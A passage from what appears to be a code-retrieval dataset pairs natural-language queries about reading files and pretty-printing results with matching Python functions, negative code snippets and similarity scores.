self.word_tag_dict[word_tag] += 1\\n self.tag_dict[tag] += 1\\n self.__add_to_word_dict__(word, tag)\\n if self.isNumberWord(word):\\n self.numbers += 1\\n if word[0].isupper() and len(sentence) > 0:\\n self.cap_no_start += 1\\n sentence.append(word)\\n tags.append(tag)\\n if tag == ENDOFSENTENCE:\\n self.sentences.append(tuple(sentence))\\n self.tags.append(tuple(tags))\\n sentence = []\\n tags = []\",\n \"def read(self, filePath):\\n \\n result = {\\n 'coordinates': {\\n 'count': 0,\\n 'nodes': []\\n },\\n 'element_groups': { \\n 'number_of_elements': 0,\\n 'count': 0,\\n 'groups': []\\n },\\n 'bars': [],\\n 'materials': {\\n 'count': 0,\\n 'materials': []\\n },\\n 'geometric_properties': {\\n 'count': 0\\n },\\n 'bcnodes': {\\n 'count': 0\\n },\\n 'loads': {\\n 'count': 0\\n }\\n }\\n # print(result['coordinates']['nodes'])\\n \\n with open(filePath,'r') as f:\\n lines = f.readlines()\\n elementCounter = 0\\n groupCounter = 0\\n geometricCounter = 0\\n\\n for line in lines:\\n line = line.strip()\\n el = line.split(' ')\\n \\n if len(line) == 0:\\n continue\\n\\n if len(line) != 0 and line[0] == \\\"*\\\":\\n section = line[1:].lower()\\n continue\\n \\n if section == 'coordinates':\\n if len(el) == 1 :\\n result[section]['count'] = el[0]\\n else:\\n result[section]['nodes'].append(Node(int(el[0]), float(el[1]), float(el[2])))\\n \\n elif section == 'element_groups':\\n if len(line) == 1:\\n result[section]['count'] = int(el[0])\\n else: \\n result[section]['groups'].append(Group(el[0], el[1], el[2]))\\n result[section]['number_of_elements'] += int(el[1])\\n\\n elif section == 'incidences':\\n groups = result['element_groups']['groups']\\n nodes = result['coordinates']['nodes']\\n print(el)\\n\\n currentGroup = groups[groupCounter]\\n if (currentGroup.amount == 0):\\n groupCounter += 1\\n currentGroup = groups[groupCounter]\\n \\n print(\\\"Group n: {} count: {}\\\".format(currentGroup.n, currentGroup.amount))\\n \\n bar = Bar(el[0], nodes[int(el[1])-1], nodes[int(el[2])-1], groups[groupCounter])\\n print(\\n \\\"\\\"\\\"\\n Bar {} created \\n Start node: {} End Node: {} Group: {}\\n \\\"\\\"\\\".format(bar.id, bar.startNode.n, bar.endNode.n, bar.group))\\n result['bars'].append(bar)\\n currentGroup.amount -= 1\\n \\n elif section == 'materials':\\n if len(el) == 1:\\n result[section]['count'] = el[0]\\n groupCounter = 0\\n else:\\n material = Material(el[0], el[1], el[2])\\n result[section]['materials'].append(material)\\n result['element_groups']['groups'][groupCounter].setMaterial(material)\\n groupCounter += 1\\n\\n elif section == 'geometric_properties':\\n if geometricCounter == 0:\\n result[section]['count'] = el[0]\\n else:\\n result['element_groups']['groups'][geometricCounter - 1].setSectionArea(\\n el[0]\\n )\\n geometricCounter += 1\\n\\n elif section == 'bcnodes':\\n if len(el) == 1:\\n result[section]['count'] = el[0]\\n else:\\n nodeIndex = next((e for e, item in enumerate(\\n result['coordinates']['nodes']) if item.n == int(el[0])), None\\n )\\n result['coordinates']['nodes'][nodeIndex].setRestriction(int(el[1]))\\n\\n elif section == 'loads':\\n if len(el) == 1:\\n result[section]['count'] = el[0]\\n else:\\n load = Load(el[1], el[2])\\n nodeIndex = next((e for e, item in enumerate(\\n result['coordinates']['nodes']) if item.n == int(el[0])), None\\n )\\n result['coordinates']['nodes'][nodeIndex].addLoad(load)\\n\\n for bar in result['bars']:\\n bar.createLocalArray()\\n\\n print('---------- Parsing complete! ----------')\\n pprint(result)\\n print('---------------------------------------')\\n\\n return result\",\n \"def read_content_load(self, filename):\\n str_file_woc = self.import_file(filename)\\n self.parse_load(str_file_woc)\\n self.disp_load_info()\",\n \"def read( self, song_file_name ):\\n song_file = open( song_file_name )\\n content = song_file.read()\\n return self.split( content )\",\n \"def _read(self, in_file):\\n #\\n # I know this function is long, but the FRD block is long as well...\\n # Splitting this into multiple functions would not help in my opinion.\\n # Therefore -> shut up pylint\\n # pylint: disable=too-many-branches\\n # pylint: disable=too-many-statements\\n #\\n self.setname = in_file.read(6).decode().strip()\\n self.value = float(in_file.read(12))\\n self.numnod = int(in_file.read(12))\\n self.text = in_file.read(20).decode().strip()\\n self.ictype = int(in_file.read(2))\\n self.numstep = int(in_file.read(5))\\n self.analys = in_file.read(10).decode().strip()\\n self.format = int(in_file.read(2))\\n in_file.read(1) # eol\\n\\n in_file.read(1) # pad byte\\n in_file.read(2) # key = -4\\n in_file.read(2) # pad bytes\\n self.name = in_file.read(8).decode().strip()\\n self.ncomps = int(in_file.read(5))\\n self.irtype = int(in_file.read(5))\\n if self.irtype != 1:\\n raise NotImplementedError()\\n in_file.read(1) # eol\\n\\n for i in range(self.ncomps):\\n entity = FRDEntity()\\n self.entities.append(entity)\\n\\n in_file.read(1) # pad byte\\n entity.key = int(in_file.read(2))\\n in_file.read(2) # pad bytes\\n entity.name = in_file.read(8).decode().strip()\\n entity.menu = int(in_file.read(5))\\n entity.ictype = int(in_file.read(5))\\n entity.icind1 = int(in_file.read(5))\\n if entity.ictype == 4:\\n entity.icind2 = int(in_file.read(5))\\n elif entity.ictype == 2 and i == 3:\\n entity.icind2 = int(in_file.read(5))\\n entity.iexist = int(in_file.read(5))\\n entity.icname = in_file.read(3).decode().strip()\\n self.ncomps -= 1\\n else:\\n entity.iexist = int(in_file.read(5))\\n in_file.read(1) # eol\\n\\n for i in range(self.numnod):\\n result = FRDNodeResult()\\n self.results.append(result)\\n if self.format < 2:\\n num_lines = int(self.ncomps/(6 + 1)) + 1\\n result.data = []\\n for j in range(num_lines):\\n in_file.read(3) # pad byte and key = -1 || -2\\n if result.node is None:\\n result.node = int(in_file.read(5*(self.format+1)))\\n else:\\n in_file.read(5*(self.format+1))\\n k_start = j*6\\n k_end = min(self.ncomps - k_start, (j+1)*6)\\n for _ in range(0, k_end):\\n result.data.append(float(in_file.read(12)))\\n in_file.read(1) # eol\\n else:\\n result.node = struct.unpack('i', in_file.read(4))[0]\\n result.data = struct.unpack(\\n 'f'*self.ncomps, in_file.read(self.ncomps*4))\\n\\n if self.format < 2:\\n in_file.readline() # last record for ascii only\",\n \"def parse_records(self):\\n for record in sp.parse(gzip.open(\\n \\\"./human_uniprot_04_07_20.gz\\\", 'rt')):\\n # print(record.taxonomy_id)\\n # if record.organism != \\\"Homo sapiens\\\":\\n # continue\\n # print(record.features[0])\\n # for comment in record.comments:\\n # if comment.startswith(\\\"SUBCELLULAR LOCATION\\\"):\\n # print(comment)\\n self.extract_features_to_dict(record)\\n self.extract_localization(record)\",\n \"def _from_file(self, path):\\r\\n\\r\\n file = pathlib.Path(path)\\r\\n log.info(\\\"Extracting data from file: {}\\\".format(file))\\r\\n\\r\\n with open(file, 'r') as f:\\r\\n lines = f.readlines()\\r\\n\\r\\n self._extract_raw_data(lines)\\r\\n\\r\\n return\",\n \"def _parse(self):\\n with open(self.input) as f:\\n for line in f:\\n if not line.lstrip().startswith(\\\"#\\\"): # comment\\n stripped_line=line.split(\\\"#\\\")[0].strip()\\n \\n # Initialise an empty option dictionary with some good defaults\\n if \\\"[\\\" in stripped_line:\\n molname=stripped_line.split()[1]\\n self.options[molname]=self.empty_option_dict.copy() # dict1=dict2 does not copy!\\n self.options[molname][\\\"MolName\\\"]=molname\\n if \\\":\\\" in stripped_line: \\n # now process line by line\\n if \\\"{\\\" not in stripped_line:\\n key,value=[i.strip() for i in stripped_line.split(\\\":\\\")]\\n\\n if key not in self.options[molname].keys():\\n raise BaseException(\\\"Option \\\\\\\"{}\\\\\\\" not known, please check your input file\\\".format(key))\\n self.options[molname][key]=value \\n else:\\n # This is to define special lines that are given by a dictionary\\n key,value=stripped_line.split(\\\":\\\",1) # split on first occurence\\n if key==\\\"Addon\\\": # additional atoms to be added per molecule\\n addondict=self.empty_addon_dict.copy()\\n addondict_string = value.split(\\\"}\\\",-1)[0].split(\\\"{\\\",1)[1]\\n for pair in addondict_string.split(\\\",\\\"):\\n addonkey,addonvalue=[i.strip() for i in pair.split(\\\":\\\")]\\n if addonkey not in addondict.keys():\\n raise BaseException(\\\"Option \\\\\\\"{}\\\\\\\" in Addon section of molecule {} not known, please check your input file\\\".format(addonkey,molname))\\n addondict[addonkey]=addonvalue\\n value=addondict\\n # Since addon keyword can be used many times, this is a list\\n self.options[molname][key].append(value) \\n self._check()\",\n \"def _read_eeg(eeg_file):\\r\\n pass\",\n \"def read(self, filename):\\n f = open(filename, 'r')\\n m = f.readline()\\n n = f.readline()\\n lst = []\\n for line in f.readlines():\\n lst.append(int(line))\\n f.closed\\n self.__init__(int(m), int(n), lst)\",\n \"def parse_result_file(self, filepath: str):\\n\\n raise NotImplementedError\",\n \"def parse_file(filename):\\n filepath = root + filename\\n try:\\n if filename.endswith('.txt'):\\n with open(filepath) as file:\\n return file.read().splitlines()\\n elif filename.endswith('.csv'):\\n reader = csv.reader(open(filepath))\\n result = {}\\n for row in reader:\\n key = row[0]\\n result[key] = row[1]\\n return result\\n except FileNotFoundError:\\n with open(filepath,\\\"w+\\\") as file:\\n append_string_to_textfile(filename, \\\"Placeholder\\\")\\n print(\\\"here\\\")\\n return (parse_file(filename))\",\n \"def _parse(self):\\n tree = etree.parse(self.filename)\\n root_node = tree.getroot()\\n\\n text_node = root_node.find(\\\"TEXT\\\")\\n\\n # Get text\\n self.text = self._extract_text(text_node)\\n\\n # Get and create Event objects\\n self.events = self._get_and_create_event_objects(text_node, root_node)\\n\\n # Get and create Timex objects\\n self.timex = self._get_and_create_timex_objects(text_node, root_node)\\n\\n # Create Relation objects and link them\\n self.relations = self._get_and_create_relation_objects(root_node)\\n\\n # Build text structure. Must be called last.\\n self.text_structure = self._get_and_build_text_structure()\",\n \"def read_file(path_to_file):\\n 8\",\n \"def read(read_file) -> list:\\n result = []\\n try:\\n with open(read_file) as file:\\n for lines in file:\\n line = decode(lines.strip(\\\"\\\"))\\n result.append(extract_information(line))\\n global header\\n header = result[0:2]\\n result = result[3:]\\n for word in result:\\n if \\\"None\\\" in word[0:3]:\\n raise InvalidPrincessException(\\\"Invalid princess!\\\")\\n continue\\n return result\\n except FileNotFoundError:\\n raise Exception(\\\"File not found!\\\")\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7704631","0.7608055","0.7606781","0.74729276","0.73044264","0.7196149","0.71839684","0.71827775","0.7099208","0.7099208","0.7064892","0.70613736","0.7029887","0.7019118","0.69390094","0.69175214","0.69132525","0.6905551","0.6891379","0.68839794","0.6870447","0.68493676","0.68461466","0.6830008","0.6796319","0.6795921","0.67823553","0.6771287","0.673719","0.6723504","0.6721484","0.67205423","0.66816306","0.6648603","0.66417634","0.66253865","0.66208625","0.6610766","0.66040313","0.6583732","0.6568665","0.6567526","0.6566192","0.6565769","0.65378016","0.65289426","0.65210813","0.6458748","0.6448853","0.6447785","0.64344966","0.64308184","0.64203626","0.64141196","0.64001495","0.64000034","0.6397036","0.63951254","0.63923717","0.63864046","0.6381062","0.6379396","0.63740826","0.63694346","0.63663876","0.6362873","0.6359234","0.63498914","0.63411236","0.6335044","0.63317317","0.63152456","0.6301041","0.6295876","0.62942094","0.62915653","0.62879705","0.6286787","0.62769806","0.6253017","0.62513465","0.6250885","0.62151396","0.62090063","0.6206227","0.6188359","0.617525","0.6168674","0.61667013","0.6159951","0.61552155","0.61530906","0.61385965","0.6135999","0.61191416","0.61137503","0.61092335","0.6102127","0.6078277","0.60742456","0.6068886"],"string":"[\n \"0.7704631\",\n \"0.7608055\",\n \"0.7606781\",\n \"0.74729276\",\n \"0.73044264\",\n \"0.7196149\",\n \"0.71839684\",\n \"0.71827775\",\n \"0.7099208\",\n \"0.7099208\",\n \"0.7064892\",\n \"0.70613736\",\n \"0.7029887\",\n \"0.7019118\",\n \"0.69390094\",\n \"0.69175214\",\n \"0.69132525\",\n \"0.6905551\",\n \"0.6891379\",\n \"0.68839794\",\n \"0.6870447\",\n \"0.68493676\",\n \"0.68461466\",\n \"0.6830008\",\n \"0.6796319\",\n \"0.6795921\",\n \"0.67823553\",\n \"0.6771287\",\n \"0.673719\",\n \"0.6723504\",\n \"0.6721484\",\n \"0.67205423\",\n \"0.66816306\",\n \"0.6648603\",\n \"0.66417634\",\n \"0.66253865\",\n \"0.66208625\",\n \"0.6610766\",\n \"0.66040313\",\n \"0.6583732\",\n \"0.6568665\",\n \"0.6567526\",\n \"0.6566192\",\n \"0.6565769\",\n \"0.65378016\",\n \"0.65289426\",\n \"0.65210813\",\n \"0.6458748\",\n \"0.6448853\",\n \"0.6447785\",\n \"0.64344966\",\n \"0.64308184\",\n \"0.64203626\",\n \"0.64141196\",\n \"0.64001495\",\n \"0.64000034\",\n \"0.6397036\",\n \"0.63951254\",\n \"0.63923717\",\n \"0.63864046\",\n \"0.6381062\",\n \"0.6379396\",\n \"0.63740826\",\n \"0.63694346\",\n \"0.63663876\",\n \"0.6362873\",\n \"0.6359234\",\n \"0.63498914\",\n \"0.63411236\",\n \"0.6335044\",\n \"0.63317317\",\n \"0.63152456\",\n \"0.6301041\",\n \"0.6295876\",\n \"0.62942094\",\n \"0.62915653\",\n \"0.62879705\",\n \"0.6286787\",\n \"0.62769806\",\n \"0.6253017\",\n \"0.62513465\",\n \"0.6250885\",\n \"0.62151396\",\n \"0.62090063\",\n \"0.6206227\",\n \"0.6188359\",\n \"0.617525\",\n \"0.6168674\",\n \"0.61667013\",\n \"0.6159951\",\n \"0.61552155\",\n \"0.61530906\",\n \"0.61385965\",\n \"0.6135999\",\n \"0.61191416\",\n \"0.61137503\",\n \"0.61092335\",\n \"0.6102127\",\n \"0.6078277\",\n \"0.60742456\",\n \"0.6068886\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14475,"cells":{"query":{"kind":"string","value":"print result data in pretty format"},"document":{"kind":"string","value":"def print_pretty(self, data):\n length = max(map(lambda x: len(x), data.keys()))\n print '+-------------------------------------+'\n print '| Company Name | Year | Month | Value |'\n print '+-------------------------------------+'\n for key, value in data.items():\n print '| %s | %s | %s | %s |' % (key, \\\n value['year'], value['month'], value['value'])\n print '+-------------------------------------+'"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def PrettyPrint(self):\r\n print(self.data)\r\n return","def Display(self, unused_args, result):\n util.PrettyPrint(result)","def Display(self, unused_args, result):\n util.PrettyPrint(result)","def pretty_print(self):\n pt = PrettyTable()\n for i in self.files_summary:\n pt.field_names = [\"File Name\", \"Classes\", \"Functions\", \"Lines\", \"Characters\"]\n pt.add_row(list([i, self.files_summary[i][\"class\"], self.files_summary[i][\"function\"], self.files_summary[i][\"line\"], self.files_summary[i][\"char\"]]))\n print(pt) #Using a Print statement here because i tried to return self.pt and it didnt give me anything but the print works","def printpretty(self):\n print(self.string_rep())","def pretty_print_drt(self):\n self.drt_manager.pretty_print_drt()","def pprint(self, data):\n self._assert(data)\n data = self._render(data) # make elements ascii\n fmats = self._fmats(data) # get array of padding formats)\n for row in data:\n print(fmats.format(*row))","def pretty_print(conn, cur): # an out dated function. if use update with fortnite_database object\n\n cur.execute(\"\"\"SELECT * FROM CurrentStats \n ORDER BY alive desc\n \"\"\")\n data = cur.fetchall()\n # returns x in the x[0] // header row in the data.descriptions\n # iterates through all the items in the data description\n print(\"\\n{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}{:20s}\".format(\n \"user_id\", \"username\", \"current_kills\", \"current_weapon\", \"total_wins\", \"total_matches\", \"win_percent\",\n \"total_kills\", \"kd\", \"alive\"))\n\n for d in data:\n print(\n \"{:<20d}{:20s}{:<20d}{:20s}{:<20d}{:<20d}{:<20.2f}{:<20d}{:<20.2f}{:<20d}\".format(d[0], d[1], d[2], d[3], d[4],\n d[5], d[6], d[7], d[8], d[9]))","def pretty_print(results: List[Tuple[str, torch.Tensor]]):\n for item in results:\n print(\"...[%.2f] - %s\" % (item[1], item[0]))","def pretty_print(self):\n for dtr in self.dtrs:\n dtr.pretty_print(indent=2)","def pretty_print(data):\n print json.dumps(data, sort_keys=True, indent=4, separators=(',', ': '))","def prettyprint(self):\n\n import pandas.io.sql as psql\n df = psql.read_sql(\"SELECT * FROM ATOM\",self.conn)\n print(df)","def pretty_print(self):\n output = \"Count: \"\n if self.soft:\n output += \"S\"\n output += str(self.count)\n if self.can_double:\n output += \", can double\"\n if self.can_split:\n output += \", can split\"\n print(output)","def pretty_print(self, query_obj):\n assert type(query_obj) == dict\n result = \"\"\n if type(query_obj) == dict and 'message' in query_obj:\n result += query_obj[\"message\"] + \"\\n\"\n if 'data' in query_obj and 'column_labels' in query_obj:\n \"\"\" Pretty-print data table \"\"\"\n pt = prettytable.PrettyTable()\n columns = query_obj['column_labels']\n pt.field_names = columns\n\n # Adjust value width - for now preserve 2 decimal places.\n for row_idx, row_values in enumerate(query_obj['data']):\n if type(row_values) == tuple:\n row_values = list(row_values)\n for col_idx, col_value in enumerate(row_values):\n if type(col_value) == float:\n # Right-align numeric columns.\n if row_idx == 0:\n pt.align[columns[col_idx]] = 'r'\n row_values[col_idx] = \"% .2f\" % col_value\n pt.add_row(row_values)\n result += str(pt)\n\n elif 'list' in query_obj:\n \"\"\" Pretty-print lists \"\"\"\n result += str(query_obj['list'])\n elif 'column_names' in query_obj:\n \"\"\" Pretty-print cctypes \"\"\"\n colnames = query_obj['column_names']\n zmatrix = query_obj['matrix']\n pt = prettytable.PrettyTable(hrules=prettytable.ALL, vrules=prettytable.ALL,\n header=False)\n pt.add_row([''] + list(colnames))\n for row, colname in zip(zmatrix, list(colnames)):\n pt.add_row([colname] + list(row))\n result += str(pt)\n elif 'column_labels' in query_obj:\n \"\"\" Pretty-print column list.\"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = ['column']\n for column in query_obj['column_labels']:\n pt.add_row([column])\n result += str(pt)\n elif 'row_lists' in query_obj:\n \"\"\" Pretty-print multiple row lists, which are just names and row sizes. \"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = ('Row List Name', 'Row Count')\n\n def get_row_list_sorting_key(x):\n \"\"\" To be used as the key function in a sort. Puts cc_2 ahead of cc_10, e.g. \"\"\"\n name, count = x\n if '_' not in name:\n return name\n s = name.split('_')\n end = s[-1]\n start = '_'.join(s[:-1])\n if utils.is_int(end):\n return (start, int(end))\n return name\n\n for name, count in sorted(query_obj['row_lists'], key=get_row_list_sorting_key):\n pt.add_row((name, count))\n result += str(pt)\n elif 'column_lists' in query_obj:\n \"\"\" Pretty-print multiple column lists. \"\"\"\n print\n clists = query_obj['column_lists']\n for name, clist in clists:\n print(\"%s:\" % name)\n pt = prettytable.PrettyTable()\n pt.field_names = clist\n print(pt)\n elif 'models' in query_obj:\n \"\"\" Pretty-print model info. \"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = ('model_id', 'iterations')\n for (id, iterations) in query_obj['models']:\n pt.add_row((id, iterations))\n result += str(pt)\n\n if len(result) >= 1 and result[-1] == '\\n':\n result = result[:-1]\n return result","def print_results(results):\n print(\"\\033[4m\\033[1m%-75s%s\\033[0m\" % (\"NAME\", \"ADDRESS\"))\n\n for selections in data:\n print(\"%-75s%s\" % (selections['applicant'], selections['location']))\n \n print(\"\\n\\033[1m--- PAGE \", page_num, \"---\\033[0m\\n\")","def pretty_print(self, query_obj):\n assert type(query_obj) == dict\n result = \"\"\n if type(query_obj) == dict and 'message' in query_obj:\n result += query_obj[\"message\"] + \"\\n\"\n if 'data' in query_obj and 'columns' in query_obj:\n \"\"\" Pretty-print data table \"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = query_obj['columns']\n for row in query_obj['data']:\n pt.add_row(row)\n result += str(pt)\n elif 'list' in query_obj:\n \"\"\" Pretty-print lists \"\"\"\n result += str(query_obj['list'])\n elif 'column_names' in query_obj:\n \"\"\" Pretty-print cctypes \"\"\"\n colnames = query_obj['column_names']\n zmatrix = query_obj['matrix']\n pt = prettytable.PrettyTable(hrules=prettytable.ALL, vrules=prettytable.ALL,\n header=False)\n pt.add_row([''] + list(colnames))\n for row, colname in zip(zmatrix, list(colnames)):\n pt.add_row([colname] + list(row))\n result += str(pt)\n elif 'columns' in query_obj:\n \"\"\" Pretty-print column list.\"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = ['column']\n for column in query_obj['columns']:\n pt.add_row([column])\n result += str(pt)\n elif 'row_lists' in query_obj:\n \"\"\" Pretty-print multiple row lists, which are just names and row sizes. \"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = ('Row List Name', 'Row Count')\n\n def get_row_list_sorting_key(x):\n \"\"\" To be used as the key function in a sort. Puts cc_2 ahead of cc_10, e.g. \"\"\"\n name, count = x\n if '_' not in name:\n return name\n s = name.split('_')\n end = s[-1]\n start = '_'.join(s[:-1])\n if is_int(end):\n return (start, int(end))\n return name\n\n for name, count in sorted(query_obj['row_lists'], key=get_row_list_sorting_key):\n pt.add_row((name, count))\n result += str(pt)\n elif 'column_lists' in query_obj:\n \"\"\" Pretty-print multiple column lists. \"\"\"\n print\n clists = query_obj['column_lists']\n for name, clist in clists:\n print(\"%s:\" % name)\n pt = prettytable.PrettyTable()\n pt.field_names = clist\n print(pt)\n elif 'models' in query_obj:\n \"\"\" Pretty-print model info. \"\"\"\n pt = prettytable.PrettyTable()\n pt.field_names = ('model_id', 'iterations')\n for (id, iterations) in query_obj['models']:\n pt.add_row((id, iterations))\n result += str(pt)\n\n if len(result) >= 1 and result[-1] == '\\n':\n result = result[:-1]\n return result","def _print_report(self, result: Dict[str, Dict[str, float]]):\n\n print('\\n\\tprecision recall f1_score num')\n for type_ in self.types:\n print(type_, end='\\t')\n print('{0: .3f}'.format(result[type_]['precision']), end=' ')\n print('{0: .3f}'.format(result[type_]['recall']), end=' ')\n print('{0: .3f}'.format(result[type_]['f1_score']), end=' ')\n print('{0: d}'.format(result[type_]['num']), end='\\n')","def _print_results(results, title=''):\n pstr = '[' + title + ']: ' if title else ''\n for k, v in results.items():\n pstr += '\\t{}: {}'.format(k, v)\n print(pstr)","def print(self):\n print(self.pretty_str())","def print_results(results):\n print()\n print(\"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\")\n print(\"%% RESULTS %%\")\n print(\"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\")\n print()\n print(\"Route \\t Cells \\t\")\n print(\"Length\\tChecked\\t Time\")\n print(\"--------------------------------\")\n print(\"{0}\\t{1}\\t{2}\".format(*results))\n print()","def pretty(self, **kwargs):\r\n raise NotImplementedError","def printData (data):\n print(str(len(data)) + '\\t' + str(data))","def format_bash(self,query_results):\n data=query_results.data\n \n name=\"ddb\"\n\n print (\"{0}_row_length={1}\".format(name,len(data)))\n print (\"{0}_column_length={1}\".format(name,len(query_results.columns)))\n print (\"\")\n\n column_index=0\n for column in query_results.columns:\n print(\"{0}_columns['{1}']='{2}'\".format(name,column_index,column))\n column_index+=1\n\n\n row_index=0\n for row in data:\n for column_index in range(0,len(query_results.columns)):\n print('{0}_data[{1}][{2}]=\"{3}\"'.format(name,row_index,column_index,row['data'][column_index]))\n row_index+=1\n # TODO return output for this\n return \"\"","def pprint(self):\n\t\tPrettyPrintUnicode().pprint(self.data)","def show_data(self, ):\r\n return print('society_name : {}\\n'\r\n 'flat : {}\\n'\r\n 'house_no : {}\\n'\r\n 'no_of_members : {}\\n'\r\n 'income : {}\\n '\r\n .format(self.society_name, self.flat, self.house_no, self.no_of_members, self.income))","def python_data_printer(cur):\n # Print a header.\n for fieldDesc in cur.description:\n print (fieldDesc[fdb.DESCRIPTION_NAME].ljust(fieldDesc[fdb.DESCRIPTION_DISPLAY_SIZE]),end=' ')\n print('')\n for fieldDesc in cur.description:\n print (\"-\" * max((len(fieldDesc[fdb.DESCRIPTION_NAME]),fieldDesc[fdb.DESCRIPTION_DISPLAY_SIZE])),end=' ')\n print('')\n # For each row, print the value of each field left-justified within\n # the maximum possible width of that field.\n fieldIndices = range(len(cur.description))\n for row in cur:\n for fieldIndex in fieldIndices:\n fieldValue = row[fieldIndex]\n if not isinstance(fieldValue,types.StringTypes):\n fieldValue = str(fieldValue)\n if isinstance(fieldValue,types.UnicodeType):\n fieldValue = fieldValue.encode('utf8')\n fieldMaxWidth = max((len(cur.description[fieldIndex][fdb.DESCRIPTION_NAME]),cur.description[fieldIndex][fdb.DESCRIPTION_DISPLAY_SIZE]))\n print (fieldValue.ljust(fieldMaxWidth),end=' ')\n print('')","def pprint(self,obj):\n return(json.dumps(obj, sort_keys=True, indent=2, separators=(',', ': ')))","def print_res(self, result, index=None):\n if index is not None:\n print(str(index).rjust(3)+ \" \" + _c.bold + _c.blue + result[\"title\"] + _c.reset)\n if result[\"description\"]:\n print(\" \"*4 + \"Description:\\t\", result[\"description\"])\n print(\n \" \"*4 +\n result[\"highlight\"].replace(\"<highlight>\", _c.blue).replace(\"</highlight>\", _c.reset),\n )\n print(\" \"*4 + \"Path: \", result[\"path\"])\n else:\n print(\"Title:\\t\\t\", result[\"title\"])\n if result[\"description\"]:\n print(\"Description:\\t\", result[\"description\"])\n print(result[\"highlight\"])\n print(\"Path: \", result[\"path\"])","def print_results(self):\n pass","def pprint(self):\n print(self.pprint_str())","def DumpPprint(data):\n #NOTE(g): Import is done here, instead of the top of the file, to not require this module if it is not used\n import pprint\n \n text = pprint.pformat(data)\n \n return text","def __str__(self):\n txt = ''\n if self.PrintHeader:\n txt = \" |\" + \"|\".join(sorted(self.rows[0].keys())).expandtabs() + \"|\"\n txt += \"\\n\"\n txt += \"|-\"\n for r in self.rows:\n txt += \"\\n|\"\n txt += \"|\".join([str(uround(r[key] , 2) if isinstance(r[key], (int, long, float, complex , Variable,AffineScalarFunc )) else r[key]) for key in sorted(self.rows[0].keys())]) + \"|\"\n txt += \"\\n|-\"\n if self.PrintSum:\n txt += \"\\n\"\n sumRow = self.GetSumRow()\n txt += \"| |\" + \"|\".join( [str(uround(sumRow[key] , 2) if isinstance(sumRow[key], (int, long, float, complex , Variable ,AffineScalarFunc )) else sumRow[key]) for key in sorted(self.rows[0].keys())[1:]] ) + \"|\"\n\n return txt","def viewdata(data):\n\n print('_' * 50)\n print('Number of Results: ' + str(data[0]['numResults']))\n print('\\nSearchURL: ' + data[0]['searchURL'])\n print('_' * 50)\n\n i = 1\n for m in data[1]:\n print(str(i) + '. ')\n for n in m:\n print(str(n) + ': ' + str(m[n]))\n i += 1\n print('\\n')","def print_result(self, header, result, suffix=\"views\"):\n print(header)\n for i in range(len(result)):\n print(' ', i + 1, '.', result[i][0], '--', result[i][1], suffix)\n print(\"\\n\")","def print_json_stdout(results):\n for json in results:\n print(\"\\n########## Result for IP {} ##########\".format(json['ip']))\n pprint.pprint(json)\n print('######################################')\n print()","def printData(result):\n print \"Body: \\n\", result['body']\n print \"Html: \\n\", result['html']\n print \"Attachment: \\n\", result['filename']\n # print \"Attachments: \\n\", result['attachments']","def print_result_r(result, write=True):\n table = ''\n table += '%-6s%6s%6s%6s\\n' % ('#', 'start', 'end', 'score')\n for i in xrange(len(result['end'])):\n table += '%-6s%6s%6s%6s\\n' % (i+1, result['start'][i]+1,\n result['end'][i]+1,\n result['score'][i])\n if write:\n print table\n else:\n return table","def _to_string(self):\n self.results.print_results()\n self.results.print_comparison()","def print_pretty_result(self):\n\t\tfor row in range(0, len(self.resulting_matrix)):\n\t\t\tfor col in range(0, len(self.resulting_matrix[self.__ROW_INDEX])):\n\t\t\t\tactual_number = self.resulting_matrix[row][col]\n\t\t\t\tif (actual_number != 0):\n\t\t\t\t\tprint (\"A la ciudad \", row+1, \" en la fabrica \", col+1, \" se envía \", actual_number)","def display_data(data):\n\n index = 0\n for details in data:\n index += 1\n print(\"{5:1}{0}. {1:10} in {2:15} priority {3:>3}\".format(index, *details))","def pretty_print_result_map(results: dict) -> None:\n print(json.dumps({k: map_res(v) for k, v in results.items()}, indent=2))","def display_results_line(stats):\n # Line output.\n template = ' %5d |%6.2f |%6.2f %6.2f %6.2f |%3d %3d %3d'\n\n num_bytes = stats['data_size']\n\n P_times = stats['P_times']\n val = [num_bytes]\n for p in P_times:\n val.append(p*1000.)\n\n val.append(stats['count_lost'])\n val.append(stats['count_timeout'])\n val.append(stats['count_corrupt'])\n val = tuple(val)\n\n print(template % val)","def display_json(self, results, verbose):\n print(json.dumps(results))","def prettify_output(data, columns):\n return data.filter(columns)","def uglyprint(self):\n\n ctmp = self.conn.cursor()\n ctmp.execute(\"SELECT * FROM ATOM\")\n print(ctmp.fetchall())","def pretty(self):\n return self._pretty","def print_results(self, data: SimData) -> None:\n pass","def pretty_print(self):\n return self.tree.pretty_print()","def prettify_details(data):\n new = []\n if \"terminaltables\" in sys.modules:\n for key, value in data.items():\n if key.startswith(\"__\"):\n continue\n if isinstance(value, (int, float)) and not isinstance(value, bool):\n new.append((key, \"{:15,.2f}\".format(value)))\n else:\n new.append((key, value))\n table = terminaltables.DoubleTable(new)\n table.inner_heading_row_border = False\n table.justify_columns[1] = 'right'\n return table.table.replace(\"\\n\", \"<br />\")\n else:\n formatted = json.dumps({k: v for k, v in data.items()\n if not k.startswith(\"__\")}, indent=4)\n new = formatted[2:-2].replace(\"\\n\", \"<br />\")\n return new","def _print_summary(results):\n if not len(results) > 0:\n print 'No results to show in summary.'\n return\n\n table = {}\n for res in results:\n for k, v in res.iteritems():\n table.setdefault(k, []).append(v)\n print tabulate(table, headers='keys', tablefmt=\"simple\")","def prettyPrint(self):\n import pprint\n pp = pprint.PrettyPrinter(indent=4)\n x=pp.pformat(self.__dict__)\n print x\n return","def dump_to_console(name, results, benchmark):\r\n for a in 